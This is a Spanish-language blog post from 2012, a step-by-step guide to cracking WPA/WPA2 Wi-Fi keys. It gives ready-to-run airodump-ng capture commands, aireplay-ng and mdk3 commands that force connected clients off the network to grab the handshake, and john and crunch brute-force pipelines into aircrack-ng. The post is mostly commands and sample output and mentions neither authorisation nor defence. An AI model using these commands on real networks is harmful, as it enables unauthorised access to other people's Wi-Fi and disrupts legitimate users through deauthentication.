domingo, 24 de junio de 2012

Hack WPA con john o crunch


WPA y WP2. Es una clase de sistemas de seguridad para redesinalambricas. Fue creado en respuesta a los serios problemas y debilidades encontrados en el sistema de seguridad anterior llamado WEP.


WPA se implementa en la mayoría de los estándares 802.11i, y fue diseñado para trabajar con todas las tarjetas de redes inalámbricas, pero no necesariamente podrán trabajar con la primera generación de puntos de accesos inalámbricos. WPA2 implementa el estándar completo, pero no trabajará con algunas tarjetas de red antiguas.


Estos tipos de cifrados utilizan algo llamado "handshake" (apretón de manos), es una especie de "saludo" entre el AP (Access Point) y el Cliente. 
Lo que debemos capturar en este caso justamente es ese handshake y posteriormente utilizar john para desencriptar la password.


Primero:


airodump-ng wlan0


Vemos nuestro AP y tomamos los datos como ESSID y BSSID, potencia, etc. 



 BSSID                    PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                               
 00:22:6B:XX:XX:XX  -72       55             0       0     11  54e   WPA2   CCMP   PSK   POOIO  
 00:19:15:XX:XX:XX  -99       55              0       0     11  54    WPA     TKIP      PSK   WLAN_LKJ
 38:72:C0:XX:XX:XX  -99       54             0       0     11  54e   WPA     CCMP   PSK  JAZZ_453
                                                                               
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes     
                                                                               
TKIP: (Temporal Key Integrity Protocol) PSK: (Pre-Shared Key) 



Segundo:


airodump-ng -c "NUMERODELCANAL" --bssid "MAC-DEL-AP" -w "NOMBRE DEL FICHERO" wlan0



Capturamos todo lo que pase por ese canal con ese MAC-DEL-AP. 


Tercero:


Llegado a este punto, tenemos dos opciones:


1- Esperar que se conecte un nuevo cliente para adquirir el handshake 
2- Desautenticar un cliente ya conectado para que vuelva a conectarse y adquirir el handshake 

aireplay-ng -0 10 -a MAC-DEL-AP -c MAC-DEL-CLIENTE wlan0


Si tardamos en conseguir el handshake, podemos utilizar otra ulidad, como MDK3 para forzar esa deauthenticacion, necesaria para adquirir el handshake:


mdk3 [iface] p -c [channel] -t [bssid]


Un ejemplo real sería:


mdk3 mon0 p -c 3 -t 00:13:D4:09:32:60 


Si no lo desautentifica a la primera, volver a repetir el comando. 

Una vez que el usuario es desautenticado y vuelva a ingresar nos va a aparecer arriba a la derecha el handshake 



Ahora que tenemos el handshake, tenemos dos opciones, usar John the riper o usar crunch para encontrar la contraseña:


Caso uno, John the ripper:


Solo letras, incremental:
./john --incremental:alpha --stdout | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - /root/wpa2*.cap


Solo numeros, incremental:
./john --incremental:digits --stdout | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - /root/wpa2*.cap


Todo: 
./john --incremental:all --stdout | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - /root/wpa2*.cap


Caso dos, Crunch:


crunch 8 9 0123456789 | aircrack-ng -a 2 RUTA-DEL-ARCHIVO-CAP -e default -b HANDSHAKE -w -


"crunch 8 9" hace referencia a que las claves WPA como mínimo tienen 8 caracteres, en este caso yo quiero que sólo pruebe hasta 9 caracteres, y que utilice los números 0123456789
Si quisiéramos que crunch use letras, pondríamos "crunch 8 15 (máximo 15 caracteres)" abcdefghijklmno" 

1 comentario: